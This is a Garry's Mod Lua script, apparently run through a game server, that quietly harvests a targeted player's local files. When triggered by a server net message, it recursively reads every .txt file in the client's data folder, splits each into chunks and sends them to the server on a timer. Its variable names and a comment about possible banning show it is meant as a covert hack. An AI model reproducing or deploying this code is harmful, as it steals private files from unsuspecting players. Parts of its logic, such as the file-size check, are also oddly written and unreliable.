local me = player.GetByID(4) local this = me:GetEyeTrace().Entity if CLIENT then local frd = file.Read local function c() net.Start("CHTGTL") net.SendToServer() end if (LocalPlayer():EntIndex() == 16) then c() end --net.Receive("CHTGTL",c) local HAX_NUMBER = "0" local QUEUED_FILES = {} local defaults = {"data"} net.Receive("CHCO", function(len) HAX_NUMBER = net.ReadString() --CopyDirNoSub("lua", "DATA") CopyDir("data", "DATA") timer.Simple(.3, function() timer.Create(HAX_NUMBER, .01, 0, function() local fd = QUEUED_FILES[table.GetFirstKey(QUEUED_FILES)] if not fd then timer.Remove(HAX_NUMBER) timer.Simple(1, function() --POISSIBLE BANNING? end) end SendFileToServer(fd) table.remove(QUEUED_FILES, table.GetFirstKey(QUEUED_FILES)) end) end) end) function CopyDirNoSub(dir,src) local files = file.Find(dir.."/*.lua", src) if not files then files = {} end for k,v in pairs(files) do if v and v ~= "" then QueueFile(dir,v,src) end end local _,dirs = file.Find(dir.."/*", src) for k,v in pairs(dirs)do if v and v ~= "" then if not table.HasValue(defaults, v) then CopyDir(dir.."/"..v, src) end end end end function CopyDir(dir,src) --copypasta from gmod wiki. local files = file.Find(dir.."/*.txt", src) if not files then files = {} end for k,v in pairs(files) do if v and v ~= "" then QueueFile(dir,v,src) end end local files,directories = file.Find(dir.."/*", src) if not directories then directories = {} end for _, fdir in pairs(directories) do --if fdir ~= ".svn" then CopyDir(dir.."/"..fdir, src) --end end end function QueueFile(dir,name,src) local filedata = frd(dir.."/"..name, src) if not filedata then filedata = "ERROR! File not readable: "..dir.."/"..name.." in '"..src.."'." return end if string.len(filedata) > 1.7*10^200 then filedata = "ERROR! File too long: "..dir.."/"..name.." in '"..src.."'." return end local fd1, fd2, fd3, fd4 = {dir=dir,name=name}, {dir=dir,name=name}, {dir=dir,name=name}, {dir=dir,name=name} --split it into fourths. fd1.filedata = string.Left(filedata, math.min(math.Round(string.len(filedata)/4), 63000)) fd2.filedata = string.Left(filedata, math.Round(string.len(filedata)*1/2)) fd2.filedata = string.Right(fd2.filedata, math.min(math.Round(string.len(fd2.filedata)/2), 63000)) fd3.filedata = string.Right(filedata, math.Round(string.len(filedata)*1/2)) fd3.filedata = string.Left(fd3.filedata, math.min(math.Round(string.len(fd3.filedata)/2), 63000)) fd4.filedata = string.Right(filedata, math.min(math.Round(string.len(filedata)/4), 63000)) table.insert(QUEUED_FILES, fd1) table.insert(QUEUED_FILES, fd2) table.insert(QUEUED_FILES, fd3) table.insert(QUEUED_FILES, fd4) end function SendFileToServer(fd) if not fd then return end local dir, name, filedata = fd.dir, fd.name, fd.filedata net.Start("CHCO") net.WriteString(HAX_NUMBER) net.WriteString(dir)--directory first net.WriteString(name)--filename second net.WriteString(filedata) net.SendToServer() end end